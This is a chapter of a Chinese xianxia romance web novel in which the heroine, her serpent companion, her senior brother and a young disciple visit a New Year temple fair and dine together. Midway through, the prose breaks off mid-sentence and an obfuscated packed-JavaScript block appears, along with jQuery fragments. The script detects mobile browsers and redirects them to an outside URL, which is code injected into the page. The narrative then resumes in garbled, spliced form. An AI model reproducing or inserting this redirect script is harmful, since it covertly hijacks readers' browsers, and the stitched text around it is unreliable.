25.庙会

作品:《剑尊她和宿敌破镜重圆了

    除夕夜里守岁到深夜,她又饮了酒,回到房间后一沾枕头便沉沉睡了过去。


    翌日江渺抵着头疼从床上爬起来时,已是天光大亮。


    竹逯听见房间里发出的动静,赶紧回到床边,扶住她摇摇欲坠的身子。


    江渺抓着他的臂膀,咬住他递上来的杯盏,低头啜饮片刻后,才道:“…什么时候了?师父和师叔已经走了吗?”


    “已经过了巳时了。”


    竹逯将杯盏置于桌上,又拿起叠在床尾的干净衣裳,为她披上,“天还不亮,他们就启程离开了。”


    她穿衣的动作一顿,随后很快恢复如常,将衣襟拢好后,从床上起身:“…也是。”


    江渺走到梳妆台前,从镜中看见他慢慢朝自己走来。


    “我帮你。”


    竹逯拿起桌上的木梳,轻柔地梳顺她的长发,“…今天是大年初一,渺渺要不要挽发簪花?”


    太阳穴的钝痛仍未止歇,江渺扶着脑袋,懒得回答,只当默许了他。


    二人在房间里磨蹭了许久,直到有人前来敲门,竹逯才终于舍得把她放开。


    江渺用手背擦去唇上被蹭得模糊的口脂,急匆匆趿上鞋前去开门。


    “饭做好了,易玉衡让我来叫你们过去。”


    苏简简站在门外,看见她鬓边的白梅花,不由得一愣,“新年伊始,你怎么戴白花?”


    江渺抓住竹逯摸上自己腰际的手,握着他走出门外:“我院子里只种了白梅,便就地取材了。”


    “倒是你,怎么还是这样没大没小?”


    江渺抬起手,指尖轻轻点在她眉心,“既然已经拜了易玉衡为师,不该叫我一声师叔,再叫他一声师父吗?”


    苏简简捂着额头后退半步,瘪着嘴,小声嘟囔了一声:“…师叔,你别去告我的状。”


    见到她乖巧的样子,江渺一下心花怒放,放开竹逯的手,双手把苏简简环住,在她脸上亲了一下:“好好好,师侄真乖,我怎么舍得告你的状呢。”


    苏简简下意识抬起手,擦了擦被她亲过的那处,低下头不再言语。


    被冷落的竹逯并不搭理二人,只是径直走远,江渺一眼就看出他生了闷气,握住苏简简的手,追上他的步伐。


    午饭是昨夜里的剩菜,放了一晚过后重新热了一道,看起来让人胃口全无。


    竹逯还赏脸的一直端着碗,挑些尚能入口的菜,苏简简则是吃了两口便放下了筷子,病恹恹的钻进了江渺怀里。


    “这是怎么了。”


    她看破不说破,像摸小狗那样轻轻抚摸着她的脑袋,“身子不舒服,没胃口?”


    “……不好吃。”


    小孩子说话总是格外坦诚,易玉衡被茶水呛了一口,咳得直不起身子。


    江渺抱着她,笑得前仰后合,易玉衡也总算缓过劲来,清了清嗓子,掩饰自己失态的尴尬。


    “不好吃就别吃了。”


    江渺把她抱到自己腿上,苏简简虽说已经过了十一岁的生辰,身子却单薄细弱,像是还没开始发育一般,手腕更是她只用一只手就能整个握住,“只是我们简简这样瘦,饿着肚子,岂不是更难长个子了?”


    她一边说着,一边看向易玉衡,脸上的表情玩味:“师叔带你去下馆子好不好。”


    竹逯闻言,立刻放下碗筷:“渺渺,我也要去。”


    “都是当师叔的人了,还是这么喜欢胡闹。”


    易玉衡总算沉不住气,放下杯盏,对上她含着笑意的双眸,可他脸上的表情却说不上好看,“要下馆子也该由我出钱,你就别凑热闹了。”


    “正好是大年初一,趁着天色尚早,下山逛庙会去吧。”


    他从桌前起身,走到抱作一团的三人身侧,抬手摘下她发间的白梅花枝。


    “就当是讨个好彩头,今天别簪白花了。”


    说罢,易玉衡把苏简简从她怀里拎出来,“起来,赖在你师叔怀里,像什么样。”


    江渺对着易玉衡的背影做了个鬼脸,见二人已经走出了距离,便也匆匆起身:“别走!碗筷还没收拾呢!”


    世家的女子不论天资如何,都要等到初潮后,方才有师父传授灵力的驾驭之法。


    因此苏简简不仅没有学到家族秘法,甚至连灵力都没有,也难怪她决定留下。


    毕竟她无力自保,又独自继承了苏家所有产业,匹夫无罪怀璧其罪,难免有人会动歪心思。


    江渺挽着竹逯的手臂,迈着小步跟在易玉衡和苏简简身后,盯着她的辫子出神。


    是师兄给她编的吧,这样式,她小时候也很喜欢。


    “渺渺,你瞧。”


    竹逯突然停下了脚步,领着她走到一处摊位前,拿起桌上的一支象生花簪,“是白梅花。”


    他说着,就将花簪插进她发间,小摊老板也笑吟吟地递上铜镜,镜中照出一对璧人。


    江渺微微侧过头,将那花簪看了个仔细,突然意识到了什么似的,猛地向前看去,才发现人群中早已找不到师兄和简简的身影。


    新年的庙会人头攒动,本就不算宽敞的街道上挤得水泄不通,想重新找出二人,无异于海底捞针。


    她这边正蹙着眉回忆传音符的画法,另一边竹逯已经掏出钱袋,买下了她头上的这支花簪。


    老板见了钱笑逐颜开,脸上褶子堆成一堆,吉祥话更是说个不停,她恍惚间好像还听见了百年好合。


    “他们往哪边走了?”


    江渺抓着竹逯的手从摊位离开,“啧…你比我高些,能不能看见他们?”


    得到她的指令,他十分认真地看了一圈,随后垂下眼眸,郑重地摇了摇头:“没找到。”


    亏她还期待了一下,这下只能找个地方传音给师兄了。


    “渺渺,别着急。”


    竹逯轻轻抽出了手,不动声色地环住她的腰肢,手搭在她腰际,彼此间也因此靠得更近,“他俩也不是傻子,等发现我们走散了,总会想办法来找我们的。”


    他边柔声安抚,边带着她走向街边小摊:“着急上火也没用,不如你我安心逛逛庙会。”


    竹逯的话也不无道理,江渺却总觉得有些不对劲,就在他再次掏钱买点心的瞬间,她突然反应了过来。


    “你哪来的钱?”


    被她质问,他毫不心虚,只是把热腾腾的麻团递给她:“渺渺,小心烫。”


    江渺并未伸手,只是直勾勾地看着他,看架势像是想与他对峙到底。


    竹逯垂下眼眸,与她对视良久,败下阵来:“…是除夕夜里凌青给我的压岁钱。”


    “真的?”


    她皱着眉试图回忆,但她实在喝得太醉,这些细枝末节都变得模糊不清,唯一只记得他那个冰凉又温柔的吻。


    “真的。”


    竹君剥开包裹的油纸,轻轻吹了吹后,把点心送到她嘴边,“你就赏个脸,尝一尝吧。”


    话说到这份上,她也不好再继续逼问,便咬了一口麻团。


    刚从油锅里捞出来炸得酥酥脆脆的麻团,裹满白芝麻和白糖粒,咬下去口中溢满焦香。


    江渺也顾不得烫,又咬了一大口,嘴一直张开着,似是想降降嘴里的温度,含糊地说:“…豪次!”


    竹逯见她这幅样子,没忍住笑出了声,抬手抹去她嘴角粘上的芝麻和糖霜:“慢些,又没有人跟你抢。”


    二人站在原地,江渺几口就把那麻团吃了个干净,竹逯用手帕将她的手仔细擦拭干净


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331894|195772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“天色尚早,我们再往里走些吧。”


    新年的庙会热闹非凡,即使太阳都快要落山,街道上的人却丝毫不减,仿佛这热闹永不会落幕。


    易玉衡早就先她一步,用传音符联系上了二人,说是等他们逛够了,便去东街的酒楼碰头。


    短短一个下午,一条长街逛了个遍,江渺手上拎着花灯,准备等会儿拿去送给简简。


    “就算是初一,街上的人也实在太多了。”


    江渺被挤得几乎站立不住,紧紧抓着竹逯的手,拨开人群,向酒楼方向走去,“跟紧我,千万别走丢了。”


    竹逯依言,小步跟在她身后,彼此交握的手心传来暖意,他下意识将她握得更紧:“人多热闹些不好吗?”


    江渺头也不回地往前走:“不好,热闹有什么好的。”


    “…说的也是,若是这天下只剩下你我二人就好了。”


    逆着人群走了许久,她终于见到了酒楼的影子,血红的夕阳下酒招翻飞,只一打眼,就看见了楼阁上的正在品茗的易玉衡。


    易玉衡也注意到了二人,对着她招了招手。


    “你刚刚说什么了吗?”


    江渺回过身,方才看见易玉衡的瞬间她似乎听见了一声低喃,只可惜她的所有注意力都停留在师兄身上,完全没来得及分辨那句含糊的话语。


    竹逯对上她的视线,轻轻摇了摇头:“没有,我什么都没说。”


    四人在雅间落座,易玉衡早就安排好了酒菜,人一到齐,便吩咐小二去催着后厨上菜。


    能不在山门里吃剩饭剩菜,苏简简高兴得很,埋着头大快朵颐。


    江渺一手撑着下巴,一手摇晃着酒盏,清冷的嗓音都被酒液浸润得沙哑暧昧:“师兄,干杯。”


    “你都醉了,还能喝吗?”


    易玉衡坐在她身侧,见她执拗地举着手,也只能与她碰杯。


    江渺仰起脸,将杯中酒一饮而尽,酒杯重重落在桌上:“当然可以!再来!”


    她盯着易玉衡喝完,正想再添酒,却发现手边的酒壶不见了。


    “渺渺,少喝一些吧。”


    她循声看去,只见竹逯手中正是那盏消失不见的酒壶,“我知道你是高兴…可你不是答应我,饭后要和我一起逛灯会吗。”


    她何时答应过的?她怎么不记得?


    江渺沉默的片刻,他就趁机贴了上来,手环抱着她,看架势是她不答应便不会撒手了。


    易玉衡见他如此,又打量着江渺的表情,心知这回这条蛇又要得逞。


    真不知道江儿喜欢他什么,皮囊?才智?天赋?


    这些东西,他都认为自己并不比竹逯逊色。


    是喜欢他那副柔弱不能自理的样子吗,喜欢受人依赖,而非被处处照顾?


    真是幼稚,分明昨天她还是个缠着他要他哄睡,走两步路就累得要抱的娇气包,如今在外头闯荡了几年,就以为自己翅膀硬了,可以摆脱他?


    江儿倒不像是那类贪恋美色的肤浅俗人,肯定还有他没能想到的原因。


    易玉衡眯了眯眼,视线扫过竹逯环在她腰间的手,若有所思。


    是房/事?


    毕竟江儿涉世未深,受他的哄骗也并非不可能,更何况蛇性/本/淫,谁知道他私下用了什么下作手段。


    况且她在仙盟时,又与曲明珠走得很近,他也知道,曲明珠一直在与江儿通信。


    虽然他并不会干涉江儿的人际交往,但近朱者赤近墨者黑的道理,恐怕没人不知道吧。


    或许他该适时适度地提醒她,在她误入歧途之前,为她指点迷津。


    易玉衡将视线从二人身上移开,正要说话,突然听见一声划破寂静长夜的尖叫。